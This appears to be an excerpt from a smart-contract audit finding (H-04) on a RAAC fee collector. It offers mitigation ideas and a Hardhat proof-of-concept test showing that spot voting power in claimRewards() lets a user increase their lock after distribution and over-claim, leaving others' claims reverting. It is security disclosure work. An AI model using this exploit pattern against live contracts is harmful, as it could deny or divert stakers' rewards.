Manual review.
Unfortunately there is no easy solution to give a fair share of the rewards to the staking users.
A very easy "solution" would be just capping the amount of rewards withdrawable to the ones available, so as to avoid a revert.
A better solution would be storing the total voting power at the time of distributeCollectedFees() and stopping users that perform lock()/increase() after that distribution from participating in the claim until the next distribution. This way the distribution would sum to 100% due to always keeping the same denominator.
Any solution should be carefully considered within the objectives of the project since there is no trivial solution to implement.
This snippet shows a scenario in which the minted rewards are not enough to cover the claims of all users at that time.
import { expect } from "chai";
import hre from "hardhat";
const { ethers } = hre;
import { time, mine } from "@nomicfoundation/hardhat-network-helpers";
import { deployContracts } from './utils/deployContracts.js';
describe('Exploit Tests', function () {
this.timeout(300000);
let contracts;
let owner, user1, user2, user3, treasury, repairFund;
const INITIAL_MINT_AMOUNT = ethers.parseEther('1000');
const HOUSE_TOKEN_ID = '1021000';
const HOUSE_PRICE = ethers.parseEther('100');
const ONE_YEAR = 365 * 24 * 3600;
const FOUR_YEARS = 4 * ONE_YEAR;
const BASIS_POINTS = 10000;
before(async function () {
[owner, user1, user2, user3, treasury, repairFund] = await ethers.getSigners();
contracts = await deployContracts(owner, user1, user2, user3);
const displayContracts = Object.fromEntries(Object.entries(contracts).map(([key, value]) => [key, value.target]));
console.log(displayContracts);
await contracts.housePrices.setHousePrice(HOUSE_TOKEN_ID, HOUSE_PRICE);
for (const user of [user1, user2, user3]) {
await contracts.crvUSD.mint(user.address, INITIAL_MINT_AMOUNT);
}
});
describe.only('Bugs:', function () {
it('[H-04] Use of spot amount of voting power in claimRewards() can result in insufficient funds for rewards', async function () {
const TRANSFER_AMOUNT = ethers.parseEther('1');
await contracts.raacToken.connect(user2).approve(contracts.veRAACToken.target, TRANSFER_AMOUNT);
await contracts.veRAACToken.connect(user2).lock(TRANSFER_AMOUNT, 3600 * 24 * 365);
await contracts.raacToken.connect(user3).approve(contracts.veRAACToken.target, TRANSFER_AMOUNT);
await contracts.veRAACToken.connect(user3).lock(TRANSFER_AMOUNT, 3600 * 24 * 365);
await contracts.raacToken.connect(user2).approve(contracts.feeCollector.target, TRANSFER_AMOUNT);
await contracts.feeCollector.connect(user2).collectFee(TRANSFER_AMOUNT, 0);
console.log("Amount of fees in feeCollector: " + await contracts.raacToken.balanceOf(contracts.feeCollector.target));
await contracts.feeCollector.connect(owner).distributeCollectedFees();
console.log("Amount of totalDistributed: " + await contracts.feeCollector.totalDistributed());
console.log("Amount of fees for user3: " + await contracts.feeCollector.getPendingRewards(user3.address));
await contracts.feeCollector.connect(user3).claimRewards(user3.address);
let takeOver = await contracts.raacToken.balanceOf(user2.address);
await contracts.raacToken.connect(user2).approve(contracts.veRAACToken.target, takeOver);
await contracts.veRAACToken.connect(user2).increase(takeOver);
console.log("Amount of fees for user2: " + await contracts.feeCollector.getPendingRewards(user2.address));
try {
await contracts.feeCollector.connect(user2).claimRewards(user2.address);
} catch(error) {
expect(error.message).to.include('ERC20InsufficientBalance(');
}
});
});
});